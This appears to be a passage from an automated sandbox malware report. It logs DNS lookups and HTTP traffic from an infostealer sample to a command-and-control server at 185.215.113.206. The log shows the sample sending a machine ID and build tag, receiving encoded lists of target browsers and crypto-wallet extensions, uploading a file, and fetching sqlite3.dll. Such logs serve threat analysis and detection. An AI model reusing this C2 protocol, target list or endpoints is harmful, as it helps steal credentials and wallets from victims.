Nov 25, 2024 05:46:43.822520018 CET	1.1.1.1	192.168.2.6	0xbe6a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:43.824193954 CET	1.1.1.1	192.168.2.6	0x2f53	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:43.934401035 CET	1.1.1.1	192.168.2.6	0xd19a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:44.014465094 CET	1.1.1.1	192.168.2.6	0x8d5d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:44.079726934 CET	1.1.1.1	192.168.2.6	0xe44	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:44.080642939 CET	1.1.1.1	192.168.2.6	0x818b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:45.534121990 CET	1.1.1.1	192.168.2.6	0x9926	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:46.109915018 CET	1.1.1.1	192.168.2.6	0x3aa1	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:47.005469084 CET	1.1.1.1	192.168.2.6	0xc0ca	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:47.005469084 CET	1.1.1.1	192.168.2.6	0xc0ca	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:48.790812969 CET	1.1.1.1	192.168.2.6	0x9289	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:48.790812969 CET	1.1.1.1	192.168.2.6	0x9289	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:48.790812969 CET	1.1.1.1	192.168.2.6	0x9289	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:47:03.437798977 CET	1.1.1.1	192.168.2.6	0x3574	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:47:03.437798977 CET	1.1.1.1	192.168.2.6	0x3574	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:47:42.165633917 CET	1.1.1.1	192.168.2.6	0x331c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:47:42.167324066 CET	1.1.1.1	192.168.2.6	0x2714	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:47:42.447199106 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:47:42.447199106 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:48:20.616206884 CET	1.1.1.1	192.168.2.6	0xdf75	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:46:17.562625885 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 05:46:18.950340986 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:18.953389883 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 33 45 41 30 45 30 31 34 34 46 34 30 33 33 30 36 30 30 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"7E3EA0E0144F4033060071------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"mars------ECGDHIDAAFHIIDGDBFIE--
Nov 25, 2024 05:46:19.424067974 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 63 30 59 32 45 77 4e 44 59 33 4f 57 45 33 4e 7a 52 6a 59 6a 46 68 5a 47 59 30 59 54 52 6a 59 32 45 33 5a 6a 52 6b 4e 7a 67 31 5a 6a 68 6c 5a 44 51 33 5a 54 4e 6b 4e 6a 67 34 5a 54 63 31 5a 44 67 7a 4d 6a 4d 32 4f 44 42 6c 4d 54 4e 6b 4e 44 63 32 4e 54 41 78 59 7a 6b 77 4f 57 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Njc0Y2EwNDY3OWE3NzRjYjFhZGY0YTRjY2E3ZjRkNzg1ZjhlZDQ3ZTNkNjg4ZTc1ZDgzMjM2ODBlMTNkNDc2NTAxYzkwOWQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 05:46:19.428370953 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"browsers------HJEBGHIEBFIJKECBKFHD--
Nov 25, 2024 05:46:19.881761074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 05:46:19.881928921 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 05:46:19.884516954 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="message"plugins------HDBKJEGIEBFHCAAKKEBA--
Nov 25, 2024 05:46:20.339637041 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 05:46:20.339673996 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 05:46:20.339688063 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 05:46:20.339696884 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 05:46:20.339709997 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 25, 2024 05:46:20.339770079 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 25, 2024 05:46:20.348076105 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 25, 2024 05:46:20.349442005 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="message"fplugins------IIEGHJJDGHCAKEBGIJKJ--
Nov 25, 2024 05:46:20.802103043 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 05:46:20.834162951 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.206 Content-Length: 5707 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 05:46:20.834805012 CET	5707	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 05:46:21.932316065 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:22.277908087 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
